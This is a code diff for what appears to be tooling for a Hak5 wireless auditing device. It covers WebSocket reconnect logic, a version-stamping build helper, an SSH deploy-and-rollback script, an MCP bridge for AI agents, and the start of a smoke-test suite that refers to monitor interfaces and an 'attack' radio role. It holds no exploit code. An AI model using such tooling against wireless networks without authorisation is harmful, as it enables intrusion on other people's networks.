||||
keyws = null;
|
||||
showError(true);
|
||||
scheduleReconnect();
|
||||
}
|
||||
}
|
||||
|
||||
function connectKeys() {
|
||||
if (!wantOpen) return;
|
||||
if (keyws && (keyws.readyState === WebSocket.OPEN || keyws.readyState === WebSocket.CONNECTING)) return;
|
||||
try {
|
||||
const sock = new WebSocket(App.pagerKeysWs);
|
||||
keyws = sock;
|
||||
sock.onopen = () => {
|
||||
retryMs = 400;
|
||||
flushKeys();
|
||||
if (screenws && screenws.readyState === WebSocket.OPEN) showError(false);
|
||||
};
|
||||
sock.onclose = () => {
|
||||
if (keyws === sock) keyws = null;
|
||||
scheduleReconnect();
|
||||
};
|
||||
sock.onerror = () => { try { sock.close(); } catch (e2) {} };
|
||||
} catch (e) {
|
||||
keyws = null;
|
||||
scheduleReconnect();
|
||||
}
|
||||
}
|
||||
|
||||
function connect() {
|
||||
connectScreen();
|
||||
connectKeys();
|
||||
}
|
||||
|
||||
function disconnect() {
|
||||
wantOpen = false;
|
||||
clearTimeout(retryTimer);
|
||||
retryTimer = null;
|
||||
pendingKeys.length = 0;
|
||||
if (screenws) { try { screenws.close(); } catch (e) {} screenws = null; }
|
||||
if (keyws) { try { keyws.close(); } catch (e) {} keyws = null; }
|
||||
}
|
||||
@@ -121,6 +199,8 @@ const Pager = (() => {
|
||||
panel.classList.remove('hidden');
|
||||
document.getElementById('pager-btn').classList.add('active');
|
||||
applyScale();
|
||||
wantOpen = true;
|
||||
retryMs = 400;
|
||||
connect();
|
||||
try { pager.focus(); } catch (e) {}
|
||||
} else {
|
||||
|
||||
@@ -5,6 +5,9 @@ const Term = (() => {
|
||||
let fitAddon = null;
|
||||
let ws = null;
|
||||
let panel = null;
|
||||
let wantOpen = false;
|
||||
let retryTimer = null;
|
||||
let retryMs = 400;
|
||||
|
||||
function ensure() {
|
||||
if (term) return;
|
||||
@@ -14,7 +17,20 @@ const Term = (() => {
|
||||
term.loadAddon(fitAddon);
|
||||
term.open(document.getElementById('terminal'));
|
||||
try { fitAddon.fit(); } catch (e) {}
|
||||
term.onData((d) => { if (ws && ws.readyState === WebSocket.OPEN) ws.send(d); });
|
||||
term.onData((d) => {
|
||||
if (ws && ws.readyState === WebSocket.OPEN) {
|
||||
try { ws.send(d); } catch (e) {}
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
function scheduleReconnect() {
|
||||
if (!wantOpen) return;
|
||||
clearTimeout(retryTimer);
|
||||
retryTimer = setTimeout(() => {
|
||||
if (wantOpen) connect();
|
||||
}, retryMs);
|
||||
retryMs = Math.min(5000, Math.max(400, retryMs * 2));
|
||||
}
|
||||
|
||||
function toggle() {
|
||||
@@ -23,6 +39,8 @@ const Term = (() => {
|
||||
panel.classList.remove('hidden');
|
||||
document.getElementById('terminal-btn').classList.add('active');
|
||||
try { fitAddon.fit(); } catch (e) {}
|
||||
wantOpen = true;
|
||||
retryMs = 400;
|
||||
connect();
|
||||
} else {
|
||||
panel.classList.add('hidden');
|
||||
@@ -32,25 +50,39 @@ const Term = (() => {
|
||||
}
|
||||
|
||||
function connect() {
|
||||
if (ws) return;
|
||||
if (!wantOpen) return;
|
||||
if (ws && (ws.readyState === WebSocket.OPEN || ws.readyState === WebSocket.CONNECTING)) return;
|
||||
if (term) term.reset();
|
||||
let sock;
|
||||
try {
|
||||
sock = new WebSocket(App.terminalWs);
|
||||
} catch (e) {
|
||||
term.writeln('\r\n[cannot reach daemon terminal: ' + e.message + ']');
|
||||
scheduleReconnect();
|
||||
return;
|
||||
}
|
||||
ws = sock;
|
||||
sock.onopen = () => { retryMs = 400; };
|
||||
sock.onmessage = (ev) => {
|
||||
if (typeof ev.data === 'string') term.write(ev.data);
|
||||
else ev.data.text().then((t) => term.write(t));
|
||||
};
|
||||
sock.onclose = () => { if (ws === sock) ws = null; if (term) term.writeln('\r\n[connection closed]'); };
|
||||
sock.onclose = () => {
|
||||
if (ws === sock) ws = null;
|
||||
if (term && wantOpen) {
|
||||
term.writeln('\r\n[connection closed — reconnecting]');
|
||||
scheduleReconnect();
|
||||
} else if (term) {
|
||||
term.writeln('\r\n[connection closed]');
|
||||
}
|
||||
};
|
||||
sock.onerror = () => { try { sock.close(); } catch (e) {} };
|
||||
}
|
||||
|
||||
function disconnect() {
|
||||
wantOpen = false;
|
||||
clearTimeout(retryTimer);
|
||||
retryTimer = null;
|
||||
if (ws) { try { ws.close(); } catch (e) {} ws = null; }
|
||||
}
|
||||
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,124 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Build helpers shared by Mark VIII deploy scripts.
|
||||
|
||||
stamp_version() stamps release metadata into BUILD COPIES ONLY: callers
|
||||
always pass a staging/build directory, never the source tree, so the repo
|
||||
stays clean while every deployed artifact reports the same VERSION.
|
||||
"""
|
||||
|
||||
import json
|
||||
import os
|
||||
import re
|
||||
import sys
|
||||
|
||||
VERSION_RE = re.compile(r'^[0-9][A-Za-z0-9._-]{0,31}$')
|
||||
SERVER_VERSION_LINE = "SERVER_VERSION = '%s'\n"
|
||||
|
||||
|
||||
def _stamp_manifest(path, version):
|
||||
try:
|
||||
with open(path, encoding='utf-8') as f:
|
||||
data = json.load(f)
|
||||
except (OSError, ValueError):
|
||||
return False
|
||||
if not isinstance(data, dict):
|
||||
return False
|
||||
data['version'] = version
|
||||
with open(path, 'w', encoding='ascii') as f:
|
||||
json.dump(data, f, indent=2)
|
||||
f.write('\n')
|
||||
return True
|
||||
|
||||
|
||||
def _stamp_payload_sh(path, version):
|
||||
try:
|
||||
with open(path, encoding='utf-8') as f:
|
||||
lines = f.readlines()
|
||||
except OSError:
|
||||
return False
|
||||
out = []
|
||||
replaced = False
|
||||
for line in lines:
|
||||
m = None if replaced \
|
||||
else re.match(r'^(\s*#\s*[Vv]ersion:).*$', line)
|
||||
if m:
|
||||
out.append(m.group(1) + ' ' + version + '\n')
|
||||
replaced = True
|
||||
else:
|
||||
out.append(line)
|
||||
if not replaced:
|
||||
insert = 1 if lines and lines[0].startswith('#!') else 0
|
||||
out.insert(insert, '# Version: %s\n' % version)
|
||||
with open(path, 'w', encoding='utf-8') as f:
|
||||
f.writelines(out)
|
||||
return True
|
||||
|
||||
|
||||
def _server_insert_index(lines):
|
||||
"""Index just past any shebang/comments/blanks and module docstring."""
|
||||
i = 0
|
||||
n = len(lines)
|
||||
if i < n and lines[i].startswith('#!'):
|
||||
i += 1
|
||||
while i < n and (lines[i].strip().startswith('#')
|
||||
or not lines[i].strip()):
|
||||
i += 1
|
||||
if i < n:
|
||||
stripped = lines[i].lstrip()
|
||||
quote = stripped[:3]
|
||||
if quote in ('"""', "'''"):
|
||||
closed_here = quote in stripped[3:]
|
||||
i += 1
|
||||
if not closed_here:
|
||||
while i < n and quote not in lines[i]:
|
||||
i += 1
|
||||
i += 1
|
||||
return min(i, len(lines))
|
||||
|
||||
|
||||
def _stamp_server_py(path, version):
|
||||
try:
|
||||
with open(path, encoding='utf-8') as f:
|
||||
lines = f.readlines()
|
||||
except OSError:
|
||||
return False
|
||||
lines = [l for l in lines if not l.startswith('SERVER_VERSION')]
|
||||
idx = _server_insert_index(lines)
|
||||
lines.insert(idx, SERVER_VERSION_LINE % version)
|
||||
with open(path, 'w', encoding='utf-8') as f:
|
||||
f.writelines(lines)
|
||||
return True
|
||||
|
||||
|
||||
def stamp_version(build_dir, version):
|
||||
"""Stamp <version> into build copies found under build_dir.
|
||||
|
||||
Updates every ``_hak5_manifest.json`` (version field), ``payload.sh``
|
||||
(header Version line) and ``server.py`` (injected SERVER_VERSION
|
||||
constant near the top). Idempotent: re-running never duplicates the
|
||||
injected constant or header. Returns the list of stamped paths."""
|
||||
if not VERSION_RE.match(str(version)):
|
||||
raise ValueError('invalid version string: %r' % (version,))
|
||||
stamped = []
|
||||
for root, dirs, files in os.walk(build_dir):
|
||||
for fname in ('_hak5_manifest.json', 'payload.sh', 'server.py'):
|
||||
if fname in files:
|
||||
path = os.path.join(root, fname)
|
||||
if fname == '_hak5_manifest.json':
|
||||
ok = _stamp_manifest(path, version)
|
||||
elif fname == 'payload.sh':
|
||||
ok = _stamp_payload_sh(path, version)
|
||||
else:
|
||||
ok = _stamp_server_py(path, version)
|
||||
if ok:
|
||||
stamped.append(path)
|
||||
return sorted(stamped)
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
if len(sys.argv) != 3:
|
||||
print('usage: build_common.py <build_dir> <version>',
|
||||
file=sys.stderr)
|
||||
sys.exit(2)
|
||||
for path in stamp_version(sys.argv[1], sys.argv[2]):
|
||||
print('stamped: %s' % path)
|
||||
Executable
+314
@@ -0,0 +1,314 @@
|
||||
#!/usr/bin/env bash
|
||||
set -euo pipefail
|
||||
|
||||
PAGER_HOST="172.16.52.1"
|
||||
PAGER_USER="root"
|
||||
PASSWORD=""
|
||||
SSH_KEY=""
|
||||
BUILD_DIR=""
|
||||
PORTAL_REFRESH=true
|
||||
|
||||
usage() {
|
||||
cat <<'EOF'
|
||||
Usage: scripts/deploy.sh [options]
|
||||
|
||||
Options:
|
||||
--host HOST Pager address (default: 172.16.52.1)
|
||||
--user USER SSH user (default: root)
|
||||
--password PASSWORD SSH/device password (requires sshpass)
|
||||
--ssh-key PATH SSH private key
|
||||
--build-dir PATH Build output directory (default: <repo>/build)
|
||||
--no-portal-refresh Skip the best-effort portal refresh
|
||||
-h, --help Show this help
|
||||
|
||||
Deploys to /mmc/mk8/releases/<ts>/ with an atomically repointed 'current'
|
||||
symlink, mirrors the payload into the legacy /root/payloads location the
|
||||
init scripts run from, verifies sha256 of the upload, and polls the local
|
||||
API after start; on failure it rolls the symlink + legacy dir back.
|
||||
|
||||
If neither --password nor --ssh-key is supplied, ssh/scp prompt normally.
|
||||
EOF
|
||||
}
|
||||
|
||||
while (($#)); do
|
||||
case "$1" in
|
||||
--host) PAGER_HOST="${2:?missing value for --host}"; shift 2 ;;
|
||||
--user) PAGER_USER="${2:?missing value for --user}"; shift 2 ;;
|
||||
--password) PASSWORD="${2:?missing value for --password}"; shift 2 ;;
|
||||
--ssh-key) SSH_KEY="${2:?missing value for --ssh-key}"; shift 2 ;;
|
||||
--build-dir) BUILD_DIR="${2:?missing value for --build-dir}"; shift 2 ;;
|
||||
--no-portal-refresh) PORTAL_REFRESH=false; shift ;;
|
||||
-h|--help) usage; exit 0 ;;
|
||||
*) printf 'Unknown option: %s\n' "$1" >&2; usage >&2; exit 2 ;;
|
||||
esac
|
||||
done
|
||||
|
||||
for command in python3 zip scp ssh; do
|
||||
command -v "$command" >/dev/null || {
|
||||
printf 'Required command not found: %s\n' "$command" >&2
|
||||
exit 1
|
||||
}
|
||||
done
|
||||
if [[ -n "$PASSWORD" ]] && ! command -v sshpass >/dev/null; then
|
||||
printf 'Password deployment requires sshpass (brew install hudochenkov/sshpass/sshpass).\n' >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
|
||||
PAYLOAD_KEY="pager-webui"
|
||||
PAYLOAD_CATEGORY="remote_access"
|
||||
PAYLOAD_DIR="$ROOT/payload/user/$PAYLOAD_CATEGORY/$PAYLOAD_KEY"
|
||||
BUILD_DIR="${BUILD_DIR:-$ROOT/build}"
|
||||
OUT_DIR="$BUILD_DIR/$PAYLOAD_KEY"
|
||||
STAGE="$OUT_DIR/stage"
|
||||
|
||||
[[ -d "$PAYLOAD_DIR" ]] || {
|
||||
printf 'Payload directory not found: %s\n' "$PAYLOAD_DIR" >&2
|
||||
exit 1
|
||||
}
|
||||
VERSION_FILE="$ROOT/VERSION"
|
||||
[[ -f "$VERSION_FILE" ]] || {
|
||||
printf 'VERSION file not found: %s\n' "$VERSION_FILE" >&2
|
||||
exit 1
|
||||
}
|
||||
VERSION="$(tr -d '[:space:]' < "$VERSION_FILE")"
|
||||
[[ -n "$VERSION" ]] || {
|
||||
printf 'VERSION file is empty.\n' >&2
|
||||
exit 1
|
||||
}
|
||||
printf 'Deploying Mark VIII version %s\n' "$VERSION"
|
||||
|
||||
mkdir -p "$OUT_DIR"
|
||||
rm -rf "$STAGE"
|
||||
mkdir -p "$STAGE/user/$PAYLOAD_CATEGORY"
|
||||
cp -R "$PAYLOAD_DIR" "$STAGE/user/$PAYLOAD_CATEGORY/$PAYLOAD_KEY"
|
||||
find "$STAGE" \( -type d -name __pycache__ -o -type f -name '*.pyc' \) -prune -exec rm -rf {} +
|
||||
|
||||
# Stamp build copies only (never the source tree): payload.sh header,
|
||||
# staged server.py SERVER_VERSION constant; manifest is stamped below.
|
||||
python3 "$ROOT/scripts/build_common.py" "$STAGE" "$VERSION"
|
||||
|
||||
B64_KEY="$(python3 -c 'import base64; print(base64.urlsafe_b64encode(b"pager-webui").decode().rstrip("="))')"
|
||||
ZIP_NAME="payload-$B64_KEY.zip"
|
||||
ZIP_PATH="$OUT_DIR/$ZIP_NAME"
|
||||
MANIFEST_PATH="$OUT_DIR/_hak5_manifest.json"
|
||||
rm -f "$ZIP_PATH"
|
||||
(
|
||||
cd "$STAGE"
|
||||
zip -q -r "$ZIP_PATH" user
|
||||
)
|
||||
|
||||
HASH="$(python3 -c 'import hashlib, sys; print(hashlib.sha256(open(sys.argv[1], "rb").read()).hexdigest())' "$ZIP_PATH")"
|
||||
python3 - "$PAYLOAD_DIR/_hak5_manifest.json" "$MANIFEST_PATH" "$HASH" "$ZIP_NAME" <<'PY'
|
||||
import json
|
||||
import sys
|
||||
import time
|
||||
|
||||
source, destination, digest, zip_name = sys.argv[1:]
|
||||
with open(source, encoding='utf-8') as handle:
|
||||
manifest = json.load(handle)
|
||||
manifest['time'] = int(time.time())
|
||||
manifest['last_hash'] = digest
|
||||
manifest['zip'] = zip_name
|
||||
with open(destination, 'w', encoding='ascii') as handle:
|
||||
json.dump(manifest, handle, indent=2)
|
||||
handle.write('\n')
|
||||
PY
|
||||
# Single-source version: stamp the generated manifest copy too.
|
||||
python3 "$ROOT/scripts/build_common.py" "$MANIFEST_PATH" "$VERSION" >/dev/null
|
||||
printf 'Built: %s (sha256 %s)\n' "$ZIP_PATH" "$HASH"
|
||||
|
||||
TARGET="$PAGER_USER@$PAGER_HOST"
|
||||
SSH_OPTS=(-o StrictHostKeyChecking=accept-new)
|
||||
if [[ -n "$PASSWORD" && -z "$SSH_KEY" ]]; then
|
||||
SSH_OPTS+=(-o PreferredAuthentications=password -o PubkeyAuthentication=no)
|
||||
fi
|
||||
|
||||
run_scp() {
|
||||
if [[ -n "$PASSWORD" && -n "$SSH_KEY" ]]; then
|
||||
SSHPASS="$PASSWORD" sshpass -e scp "${SSH_OPTS[@]}" -i "$SSH_KEY" "$@"
|
||||
elif [[ -n "$PASSWORD" ]]; then
|
||||
SSHPASS="$PASSWORD" sshpass -e scp "${SSH_OPTS[@]}" "$@"
|
||||
elif [[ -n "$SSH_KEY" ]]; then
|
||||
scp "${SSH_OPTS[@]}" -i "$SSH_KEY" "$@"
|
||||
else
|
||||
scp "${SSH_OPTS[@]}" "$@"
|
||||
fi
|
||||
}
|
||||
|
||||
run_ssh() {
|
||||
if [[ -n "$PASSWORD" && -n "$SSH_KEY" ]]; then
|
||||
SSHPASS="$PASSWORD" sshpass -e ssh "${SSH_OPTS[@]}" -i "$SSH_KEY" "$@"
|
||||
elif [[ -n "$PASSWORD" ]]; then
|
||||
SSHPASS="$PASSWORD" sshpass -e ssh "${SSH_OPTS[@]}" "$@"
|
||||
elif [[ -n "$SSH_KEY" ]]; then
|
||||
ssh "${SSH_OPTS[@]}" -i "$SSH_KEY" "$@"
|
||||
else
|
||||
ssh "${SSH_OPTS[@]}" "$@"
|
||||
fi
|
||||
}
|
||||
|
||||
install_python3() {
|
||||
if run_ssh "$TARGET" 'command -v python3 >/dev/null'; then
|
||||
printf 'python3 already present on the pager.\n'
|
||||
return 0
|
||||
fi
|
||||
printf 'python3 missing on pager; installing python3-light (offline ipks).\n'
|
||||
local cache="$ROOT/build/python-ipk"
|
||||
local pkg_base='https://downloads.openwrt.org/releases/24.10.1/packages/mipsel_24kc'
|
||||
mkdir -p "$cache"
|
||||
local files=(
|
||||
"base/libbz2-1.0_1.0.8-r1_mipsel_24kc.ipk"
|
||||
"packages/libpython3-3.11_3.11.14-r1_mipsel_24kc.ipk"
|
||||
"packages/python3-base_3.11.14-r1_mipsel_24kc.ipk"
|
||||
"packages/python3-light_3.11.14-r1_mipsel_24kc.ipk"
|
||||
)
|
||||
local names=()
|
||||
local rel
|
||||
for rel in "${files[@]}"; do
|
||||
local name="${rel##*/}"
|
||||
names+=("$name")
|
||||
if [[ ! -s "$cache/$name" ]]; then
|
||||
curl -fsSL --retry 3 -o "$cache/$name" "$pkg_base/$rel"
|
||||
fi
|
||||
done
|
||||
run_ssh "$TARGET" 'mkdir -p /tmp/python-ipk && rm -rf /tmp/python-ipk/*'
|
||||
(
|
||||
cd "$cache"
|
||||
run_scp "${names[@]}" "$TARGET:/tmp/python-ipk/"
|
||||
)
|
||||
run_ssh "$TARGET" 'set -e
|
||||
cd /tmp/python-ipk
|
||||
opkg install libbz2-1.0_*.ipk libpython3-3.11_*.ipk python3-base_*.ipk python3-light_*.ipk
|
||||
command -v python3 >/dev/null
|
||||
python3 -c "import json,socket,hashlib,threading,select,subprocess,struct,base64,re"
|
||||
rm -rf /tmp/python-ipk
|
||||
echo PYTHON_OK'
|
||||
}
|
||||
|
||||
install_python3
|
||||
|
||||
run_ssh "$TARGET" 'mkdir -p /tmp/mk8-stage && rm -rf /tmp/mk8-stage/*'
|
||||
run_scp "$ZIP_PATH" "$MANIFEST_PATH" "$TARGET:/tmp/mk8-stage/"
|
||||
|
||||
REMOTE_PAYLOAD_DIR="user/$PAYLOAD_CATEGORY/$PAYLOAD_KEY"
|
||||
RELEASE_TS="$(date +%Y%m%d-%H%M%S)"
|
||||
REMOTE_COMMAND="set -e
|
||||
STAGE_DIR='/tmp/mk8-stage'
|
||||
ZIP="\$STAGE_DIR/$ZIP_NAME"
|
||||
RELDIR='/mmc/mk8/releases/$RELEASE_TS'
|
||||
PAYDIR='$REMOTE_PAYLOAD_DIR'
|
||||
LIVE=\"/root/payloads/\$PAYDIR\"
|
||||
BACKUP=\"/root/payloads/.pager-webui.backup.\$\$\"
|
||||
CURRENT='/mmc/mk8/releases/current'
|
||||
PREV=\$(readlink \$CURRENT 2>/dev/null || true)
|
||||
cleanup() { rm -rf \"\$STAGE_DIR\"; }
|
||||
trap cleanup EXIT
|
||||
|
||||
# Upload integrity gate: remote sha256 must match the local build hash.
|
||||
GOT=\$(sha256sum \"\$ZIP\" | awk '{print \$1}')
|
||||
[ \"\$GOT\" = '$HASH' ] || { echo 'sha256 mismatch on uploaded zip' >&2; exit 1; }
|
||||
[ -f \"\$STAGE_DIR/_hak5_manifest.json\" ] || { echo 'manifest missing' >&2; exit 1; }
|
||||
|
||||
/etc/init.d/pagerwebui stop >/dev/null 2>&1 || true
|
||||
mkdir -p \"\$RELDIR\"
|
||||
unzip -q \"\$ZIP\" -d \"\$RELDIR\"
|
||||
NEW=\"\$RELDIR/\$PAYDIR\"
|
||||
[ -f \"\$NEW/server.py\" ] && [ -f \"\$NEW/payload.sh\" ] && [ -d \"\$NEW/www\" ] || {
|
||||
echo 'release payload incomplete' >&2
|
||||
rm -rf \"\$RELDIR\"
|
||||
exit 1
|
||||
}
|
||||
cp \"\$STAGE_DIR/_hak5_manifest.json\" \"\$NEW/_hak5_manifest.json\"
|
||||
chmod +x \"\$NEW/payload.sh\" \"\$NEW/pagerwebui.init\"
|
||||
chmod -R 755 \"\$NEW/www\"
|
||||
ln -sfn \"\$RELDIR\" \"\$CURRENT\"
|
||||
|
||||
# Mirror into the legacy /root/payloads path the init scripts execute.
|
||||
rollback_install() {
|
||||
rm -rf \"\$LIVE\"
|
||||
[ ! -d \"\$BACKUP\" ] || mv \"\$BACKUP\" \"\$LIVE\"
|
||||
if [ -n \"\$PREV\" ]; then
|
||||
ln -sfn \"\$PREV\" \"\$CURRENT\"
|
||||
else
|
||||
rm -f \"\$CURRENT\"
|
||||
fi
|
||||
}
|
||||
if [ -d \"\$LIVE\" ]; then mv \"\$LIVE\" \"\$BACKUP\"; fi
|
||||
if ! mkdir -p \"\$LIVE\" || ! cp -a \"\$NEW/.\" \"\$LIVE/\"; then
|
||||
rollback_install
|
||||
exit 1
|
||||
fi
|
||||
cp -f \"\$LIVE/pagerwebui.init\" /etc/init.d/pagerwebui
|
||||
chmod +x /etc/init.d/pagerwebui
|
||||
/etc/init.d/pagerwebui enable
|
||||
cp -f \"\$LIVE/mk8-guard.init\" /etc/init.d/mk8-guard
|
||||
chmod 755 /etc/init.d/mk8-guard
|
||||
/etc/init.d/mk8-guard enable
|
||||
/etc/init.d/pagerwebui start
|
||||
|
||||
# Post-deploy verification: API must answer within ~60s (deadline-capped so
|
||||
# hung connections cannot stretch the window) or we roll back.
|
||||
T0=\$(date +%s)
|
||||
DEADLINE=\$((\$T0 + 60))
|
||||
HEALTH_OK=''
|
||||
while [ \$(date +%s) -lt \$DEADLINE ]; do
|
||||
if curl -fsS -m 3 http://127.0.0.1:8080/ >/dev/null 2>&1; then
|
||||
HEALTH_OK=1
|
||||
break
|
||||
fi
|
||||
sleep 1
|
||||
done
|
||||
if [ -z \"\$HEALTH_OK\" ]; then
|
||||
echo 'post-deploy health check failed; rolling back' >&2
|
||||
/etc/init.d/pagerwebui stop >/dev/null 2>&1 || true
|
||||
rollback_install
|
||||
rm -rf \"\$RELDIR\"
|
||||
/etc/init.d/pagerwebui start
|
||||
exit 1
|
||||
fi
|
||||
rm -rf \"\$BACKUP\"
|
||||
# Prune old releases; keep the newest 3 including current.
|
||||
ALL=\$(ls -1d /mmc/mk8/releases/2* 2>/dev/null | sort)
|
||||
TOTAL=\$(printf '%s\\n' \"\$ALL\" | grep -c .)
|
||||
KEEP_FROM=\$((TOTAL - 2))
|
||||
if [ \"\$KEEP_FROM\" -gt 1 ]; then
|
||||
printf '%s\\n' \"\$ALL\" | awk -v kf=\"\$KEEP_FROM\" 'NR < kf' | while read r; do
|
||||
CUR=\$(readlink \$CURRENT 2>/dev/null || true)
|
||||
[ \"\$r\" = \"\$CUR\" ] || rm -rf \"\$r\"
|
||||
done
|
||||
fi
|
||||
echo RELEASE_OK@\"\$RELDIR\""
|
||||
if run_ssh "$TARGET" "$REMOTE_COMMAND"; then
|
||||
printf 'Release active: /mmc/mk8/releases/%s\n' "$RELEASE_TS"
|
||||
else
|
||||
printf 'Deployment failed; previous release restored on the pager.\n' >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
if $PORTAL_REFRESH && [[ -n "$PASSWORD" ]]; then
|
||||
PASSWORD_B64="$(printf '%s' "$PASSWORD" | base64)"
|
||||
PORTAL_OK=false
|
||||
for attempt in 1 2 3; do
|
||||
if printf '%s\n' "$PASSWORD_B64" | run_ssh "$TARGET" 'read -r password_b64
|
||||
password=$(printf "%s" "$password_b64" | base64 -d)
|
||||
login_body=$(printf "%s" "$password" | python3 -c '"'"'import json, sys; print(json.dumps({"username": "root", "password": sys.stdin.read()}))'"'"')
|
||||
token=$(curl -sS -X POST http://127.0.0.1:1471/api/login -H "Content-Type: application/json" -d "$login_body" |
|
||||
python3 -c '"'"'import json, sys; print(json.load(sys.stdin).get("token", ""))'"'"')
|
||||
[ -n "$token" ] &&
|
||||
curl -fsS -X POST http://127.0.0.1:1471/api/payloads/portal/refresh -H "Authorization: Bearer $token" >/dev/null'; then
|
||||
PORTAL_OK=true
|
||||
break
|
||||
fi
|
||||
sleep 2
|
||||
done
|
||||
if $PORTAL_OK; then
|
||||
printf 'Portal refreshed.\n'
|
||||
else
|
||||
printf 'Warning: portal refresh failed; payload installation is complete.\n' >&2
|
||||
fi
|
||||
elif $PORTAL_REFRESH; then
|
||||
printf 'Skipping portal refresh without --password; payload installation is complete.\n'
|
||||
fi
|
||||
|
||||
printf 'Deploy complete (v%s). Browse http://%s:8080/\n' "$VERSION" "$PAGER_HOST"
|
||||
@@ -0,0 +1,65 @@
|
||||
#!/usr/bin/env python3
|
||||
"""stdio bridge to the Mark VIII MCP server.
|
||||
|
||||
Agents that only support stdio transport can run:
|
||||
|
||||
MCP_URL=http://172.16.52.1:8080/mcp \
|
||||
MCP_TOKEN=<device session token> \
|
||||
python3 scripts/harness_stdio.py
|
||||
|
||||
JSON-RPC messages are read line-by-line from stdin (one JSON object per
|
||||
line, no embedded newlines) and forwarded to the Mark VIII Streamable-HTTP
|
||||
MCP endpoint. Responses are printed back on stdout as single-line JSON.
|
||||
|
||||
Get a token from the Mark VIII Harness page, or fetch one:
|
||||
|
||||
curl -s -X POST http://172.16.52.1:8080/api/login \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{"username":"root","password":"<device password>"}' \
|
||||
-c cookies.txt
|
||||
"""
|
||||
import json
|
||||
import os
|
||||
import sys
|
||||
import urllib.request
|
||||
|
||||
URL = os.environ.get('MCP_URL', 'http://172.16.52.1:8080/mcp')
|
||||
TOKEN = os.environ.get('MCP_TOKEN', '')
|
||||
|
||||
|
||||
def forward(msg):
|
||||
data = json.dumps(msg).encode()
|
||||
req = urllib.request.Request(URL, data=data, method='POST')
|
||||
req.add_header('Content-Type', 'application/json')
|
||||
req.add_header('Accept', 'application/json, text/event-stream')
|
||||
if TOKEN:
|
||||
req.add_header('Authorization', 'Bearer ' + TOKEN)
|
||||
try:
|
||||
with urllib.request.urlopen(req, timeout=120) as resp:
|
||||
return resp.read().decode()
|
||||
except urllib.error.HTTPError as exc:
|
||||
return json.dumps({'jsonrpc': '2.0', 'id': msg.get('id'),
|
||||
'error': {'code': exc.code, 'message': exc.read().decode()[:300]}})
|
||||
except Exception as exc: # noqa: BLE001
|
||||
return json.dumps({'jsonrpc': '2.0', 'id': msg.get('id'),
|
||||
'error': {'code': -32000, 'message': str(exc)}})
|
||||
|
||||
|
||||
def main():
|
||||
if not TOKEN:
|
||||
print('warning: MCP_TOKEN not set; server will reject calls', file=sys.stderr)
|
||||
for line in sys.stdin:
|
||||
line = line.strip()
|
||||
if not line:
|
||||
continue
|
||||
try:
|
||||
msg = json.loads(line)
|
||||
except ValueError:
|
||||
print(json.dumps({'jsonrpc': '2.0', 'id': None,
|
||||
'error': {'code': -32700, 'message': 'parse error'}}))
|
||||
continue
|
||||
print(forward(msg), flush=True)
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
Executable
+514
@@ -0,0 +1,514 @@
|
||||
#!/bin/sh
|
||||
# Mark VIII on-device reliability smoke suite (POSIX sh, BusyBox-safe).
|
||||
#
|
||||
# Usage: smoke.sh [--write]
|
||||
#
|
||||
# Read-only checks (default):
|
||||
# 1. Web UI answers GET /
|
||||
# 2. mk8-guard installed and enabled (S49 boot symlink)
|
||||
# 3. Safe-UCI invariants + SSID pool size <= 20
|
||||
# 4. Event journal: last line of /mmc/mk8/events.log parses as JSON
|
||||
# with a 'kind' field (via python3)
|
||||
# 5. Monitor interfaces wlan0mon + wlan1mon exist
|
||||
# 6. Deployed server.py SERVER_VERSION == payload.sh Version header
|
||||
# 7. Authenticated API path: POST /api/login -> GET /api/health
|
||||
# (requires webui password in $PASS; skipped when unset)
|
||||
#
|
||||
# Destructive drills (--write only; values auto-restored):
|
||||
# 8. Bad-value drill: feeds --reconcile a wrong bands value and an
|
||||
# oversized SSID pool (25 dummy entries), verifies both are
|
||||
# repaired, restores originals.
|
||||
# 9. RF role drill (only when SMOKE_UPLINK_SSID is set): switches
|
||||
# radio1 to the uplink role against the named lab AP, expects an
|
||||
# association, then back to attack with hopping resumed.
|
||||
# 10. Rollback watchdog drill: runs mk8-watchdog.sh against a config
|
||||
# profile while the web UI is up (expects clean promote exit),
|
||||
# then STOPS the pagerwebui service and expects the watchdog to
|
||||
# roll back and journal a 'rollback' event, then restarts webui.
|
||||
# Preceded by a 5-second warning countdown; brief web outage.
|
||||
# Drills run only when every read-only check has passed.
|
||||
#
|
||||
# Environment:
|
||||
# PASS webui password used for POST /api/login (check 7).
|
||||
# SMOKE_UPLINK_SSID lab AP SSID; enables the --write RF role drill.
|
||||
# SMOKE_UPLINK_PSK optional PSK for the lab AP.
|
||||
#
|
||||
# Exit status: 0 when every executed check passes, 1 otherwise.
|
||||
|
||||
set -u
|
||||
|
||||
BASE=/mmc/mk8
|
||||
REL="$BASE/releases/current"
|
||||
# Release layout: <release>/user/<category>/<key>/... — resolve the payload dir.
|
||||
REL_PAY="$(find "$REL/user" -maxdepth 3 -name server.py 2>/dev/null | head -n 1)"
|
||||
REL_PAY="${REL_PAY%/server.py}"
|
||||
LEGACY=/root/payloads/user/remote_access/pager-webui
|
||||
URL=http://127.0.0.1:8080
|
||||
GUARD_INIT=/etc/init.d/mk8-guard
|
||||
GUARD_LINK=/etc/rc.d/S49mk8-guard
|
||||
WEBUI_INIT=/etc/init.d/pagerwebui
|
||||
JAR=/tmp/mk8-smoke-cookies.$$
|
||||
|
||||
WRITE=0
|
||||
PASS="${PASS:-}"
|
||||
UPLINK_SSID="${SMOKE_UPLINK_SSID:-}"
|
||||
UPLINK_PSK="${SMOKE_UPLINK_PSK:-}"
|
||||
WEB_STOPPED=0
|
||||
FAILED=0
|
||||
WAIT_RC=0
|
||||
wp=""
|
||||
|
||||
PY="$(command -v python3 2>/dev/null || true)"
|
||||
[ -n "$PY" ] || PY=/usr/bin/python3
|
||||
[ -x "$PY" ] || PY=""
|
||||
|
||||
usage() {
|
||||
printf 'Usage: smoke.sh [--write]\n'
|
||||
printf '\n'
|
||||
printf 'Read-only checks run by default. --write adds destructive drills\n'
|
||||
printf '(run only if every read-only check passed) that briefly toggle\n'
|
||||
